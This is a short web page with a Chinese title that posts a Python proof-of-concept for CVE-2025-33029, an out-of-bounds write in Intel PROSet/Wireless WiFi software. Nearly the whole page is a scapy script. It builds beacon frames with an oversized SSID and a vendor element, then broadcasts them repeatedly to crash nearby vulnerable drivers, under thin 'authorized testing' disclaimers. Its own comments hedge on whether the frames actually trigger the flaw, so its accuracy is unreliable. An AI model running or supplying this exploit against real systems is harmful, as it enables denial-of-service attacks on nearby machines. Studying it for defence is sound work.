Intel PROSet/Wireless WiFi Software 越界写入漏洞导致拒绝服务 (CVE-2025-33029)

''' CVE-2025-33029 PoC - Intel PROSet/Wireless WiFi Out-of-Bounds Write Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher (based on Intel INTEL-SA-01398 advisory) ''' #!/usr/bin/env python3 """ Intel PROSet/Wireless WiFi Driver - Out-of-Bounds Write PoC This script demonstrates the vulnerability in Intel PROSet/Wireless WiFi Software versions prior to 23.160. The vulnerability allows an adjacent network attacker to trigger an out-of-bounds write in the WiFi driver at Ring 2 (kernel level), causing a denial of service. WARNING: Only use on systems you have explicit permission to test. """ import struct import socket import sys from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11Elt, sendp def create_malicious_wifi_frame(): """ Create a malicious WiFi frame that may trigger the OOB write vulnerability. The vulnerability exists in how the driver handles malformed frames. """ # Create a malformed beacon frame with oversized information elements # The driver may not properly validate length fields before copying data ssid = b"A" * 500 # Excessive length to trigger boundary check failure # Craft radio tap header radio = RadioTap()/Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") # Create beacon frame with malicious information elements beacon = Dot11Beacon(cap=0x2104) elt = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) # Add crafted vendor specific IE with oversized data vendor_ie = Dot11Elt(ID=221, info=b"\x00\x01\x02" + b"\xFF" * 256) frame = radio / beacon / elt / vendor_ie return frame def send_trigger_packets(interface, count=100): """ Send malformed WiFi frames to trigger the vulnerability. """ print(f"[*] Sending {count} malicious frames on interface: {interface}") print("[*] Target: Intel PROSet/Wireless WiFi Software < 23.160") print("[!] This may cause system instability or crash") frame = create_malicious_wifi_frame() try: for i in range(count): sendp(frame, iface=interface, verbose=0) if i % 10 == 0: print(f"[*] Sent {i} packets...") print("[*] Attack completed") except Exception as e: print(f"[!] Error: {e}") def check_vulnerability(): """ Check if target system is likely vulnerable. """ print("[*] CVE-2025-33029 Vulnerability Check") print("[*] Affected: Intel PROSet/Wireless WiFi Software < 23.160") print("[*] CVSS 3.1 Score: 7.4 (High)") print("[*] Attack Vector: Adjacent Network") print("[*] Requires: No authentication, No user interaction") if __name__ == "__main__": check_vulnerability() if len(sys.argv) > 1: send_trigger_packets(sys.argv[1]) else: print("Usage: python cve-2025-33029.py <wireless_interface>")